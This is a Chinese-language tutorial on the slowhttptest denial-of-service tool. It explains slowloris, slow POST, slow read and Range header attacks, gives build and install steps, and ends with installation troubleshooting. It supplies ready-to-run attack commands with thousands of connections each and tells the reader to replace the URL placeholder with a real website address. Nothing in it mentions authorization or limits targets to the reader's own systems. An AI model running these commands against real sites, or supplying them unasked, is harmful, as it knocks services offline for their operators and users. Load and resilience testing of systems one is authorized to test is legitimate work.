
slowhttptest介紹
Slowhttptest是依賴(lài)HTTP協(xié)議的慢速攻擊DoS攻擊工具,設(shè)計(jì)的基本原理是服務(wù)器在請(qǐng)求完全接收后才會(huì)進(jìn)行處理,如果客戶(hù)端的發(fā)送速度緩慢或者發(fā)送不完整,服務(wù)端為其保留連接資源池占用,大量此類(lèi)請(qǐng)求并發(fā)將導(dǎo)致DoS。
攻擊模式
slowloris:完整的http請(qǐng)求是以\r\n\r\n結(jié)尾,攻擊時(shí)僅發(fā)送\r\n,少發(fā)送一個(gè)\r\n,服務(wù)器認(rèn)為請(qǐng)求還未發(fā)完,就會(huì)一直等待直至超時(shí)。等待過(guò)程中占用連接數(shù)達(dá)到服務(wù)器連接數(shù)上限,服務(wù)器便無(wú)法處理其他請(qǐng)求。
slow http post:原理和slowloris有點(diǎn)類(lèi)似,這次是通過(guò)聲明一個(gè)較大的content-length后,body緩慢發(fā)送,導(dǎo)致服務(wù)器一直等待。
slow read attack:向服務(wù)器發(fā)送一個(gè)正常合法的read請(qǐng)求,請(qǐng)求一個(gè)很大的文件,但認(rèn)為的把TCP滑動(dòng)窗口設(shè)置得很小,服務(wù)器就會(huì)以滑動(dòng)窗口的大小切割文件,然后發(fā)送。文件長(zhǎng)期滯留在內(nèi)存中,消耗資源。
slowhttptest安裝及測(cè)試
一、基礎(chǔ)環(huán)境安裝
yum install openssl openssl-devel
yum install gcc gcc-c++
二、安裝m4、autoconf、perl和automake
yum install m4
yum install autoconf
yum install perl
yum install automake
注意:需要按照順序進(jìn)行安裝,因?yàn)閍utomake依賴(lài)于m4,autoconf和perl,autoconf又依賴(lài)于m4。
三、安裝Slowhttptest
cd /usr/local
git clone https://github.com/shekyan/slowhttptest
cd slowhttptest/
./configure
autoreconf -ivf //請(qǐng)一定要執(zhí)行這句命令
make
make install
四、幾種攻擊模式實(shí)例
1、slowloris:完整的http請(qǐng)求是以 \r\n\r\n 結(jié)尾,攻擊時(shí)僅發(fā)送 \r\n,少發(fā)送一個(gè) \r\n,服務(wù)器認(rèn)為請(qǐng)求還未發(fā)完,就會(huì)一直等待直至超時(shí)。
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u URL -x 24 -p 3
2、slow post:通過(guò)聲明一個(gè)較大的content-length后,body緩慢發(fā)送,導(dǎo)致服務(wù)器一直等待。
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u URL -x 10 -p 3
3、slow read:向服務(wù)器發(fā)送一個(gè)正常合法的read請(qǐng)求,請(qǐng)求一個(gè)很大的文件,但把TCP滑動(dòng)窗口設(shè)置得很小,服務(wù)器就會(huì)以滑動(dòng)窗口的大小切割文件,然后發(fā)送,這是文件會(huì)長(zhǎng)期存放在內(nèi)存中,消耗資源。
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u URL -p 3
4、Range Header test:在 HTTP 請(qǐng)求的 RANGE HEADER 中包含大量字段,使得服務(wù)器在服務(wù)端將一個(gè)很小的文件分割成大量的更小的片段再壓縮。分段壓縮過(guò)程消耗大量的服務(wù)器資源,導(dǎo)致 DOS。
slowhttptest -R -u URL -t HEAD -c 1000 -a 10 -b 3000 -r 500
請(qǐng)修改上述命令的URL為真實(shí)的網(wǎng)站地址
安裝slowhttptest常見(jiàn)問(wèn)題
- 報(bào)錯(cuò)
checking forC++ compiler defaultoutput file name... configure: error: C++ compiler cannot create executables
yum install gcc gcc-c++
- 執(zhí)行./configure時(shí)提示“沒(méi)有權(quán)限”
chmod 755 *
- 提示“missing automake-1.16”或aclocal-1.15: command not found
依次執(zhí)行如下命令:
yum install m4
yum install autoconf
yum install perl
yum install automake
